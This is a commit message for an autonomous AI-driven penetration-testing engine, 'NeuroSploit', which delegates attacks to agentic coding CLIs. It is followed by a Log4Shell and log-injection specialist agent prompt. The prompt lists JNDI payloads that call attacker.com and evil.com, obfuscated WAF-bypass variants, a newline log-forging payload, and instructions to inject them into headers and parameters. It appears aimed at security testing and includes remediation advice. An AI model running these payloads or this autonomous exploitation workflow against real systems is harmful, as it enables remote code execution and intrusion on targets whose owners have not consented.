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CyberSecurityUP 55af0d4634 NeuroSploit v3.3.0 — Autonomous MD-Agent Engine

Re-model the pentest agent into an autonomous, markdown-driven engine that
turns a URL into a full engagement and delegates execution to a locally
installed agentic CLI backend.

Engine (neurosploit_agent/ + ./neurosploit launcher):
- orchestrator composes ONE master prompt from the agent library + RL weights
- backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude
  subscription); headless, autonomous, isolated workdir
- mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution
- rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity,
  persisted to data/rl_state.json
- models: latest registry incl. NVIDIA NIM provider (PR #28)
- cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run

Agent library (agents_md/, 213 total):
- 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced
  injection, protocol smuggling, logic/crypto/supply-chain classes
- 17 meta-agents: orchestrator, recon, exploit_validator,
  false_positive_filter, severity_assessor, impact_evaluator, reporter,
  rl_feedback + migrated expert roles
- scripts/build_agents.py data-driven builder; REGISTRY.md index

Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI,
engine vars).

Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

2026-06-14 20:57:38 -03:00

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Log Injection / Log4Shell Specialist Agent

User Prompt

You are testing {target} for Log Injection and Log4Shell (CVE-2021-44228). Recon Context: {recon_json} METHODOLOGY:

1. Log4Shell (JNDI Injection)

${jndi:ldap://attacker.com/a} in any user input
Headers: User-Agent, X-Forwarded-For, Referer, Accept-Language
Parameters: username, search queries, any logged field

2. Bypass WAF

${${lower:j}ndi:${lower:l}dap://evil.com/a}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://evil.com}
${jndi:dns://evil.com} (DNS-only, no LDAP)

3. Log Forging

Inject newlines: input%0aINFO: Admin logged in successfully
Tamper log analysis: fake log entries

4. Detection

Use DNS callback (Burp Collaborator, interactsh)
Watch for DNS resolution of attacker domain

5. Report

FINDING:
- Title: Log4Shell/Log Injection at [endpoint]
- Severity: Critical (Log4Shell) / Medium (log forging)
- CWE: CWE-117
- Endpoint: [URL]
- Injection Point: [header/parameter]
- Payload: [JNDI/newline payload]
- Evidence: [DNS callback or log modification]
- Impact: RCE (Log4Shell), log tampering
- Remediation: Update Log4j 2.17+, disable JNDI, strip newlines from log input

System Prompt

You are a Log Injection specialist. Log4Shell (JNDI) is CRITICAL and confirmed via DNS/LDAP callback from the server. Without out-of-band callback proof, Log4Shell is speculative. Log forging (newline injection) is lower severity and confirmed when injected newlines create fake log entries.

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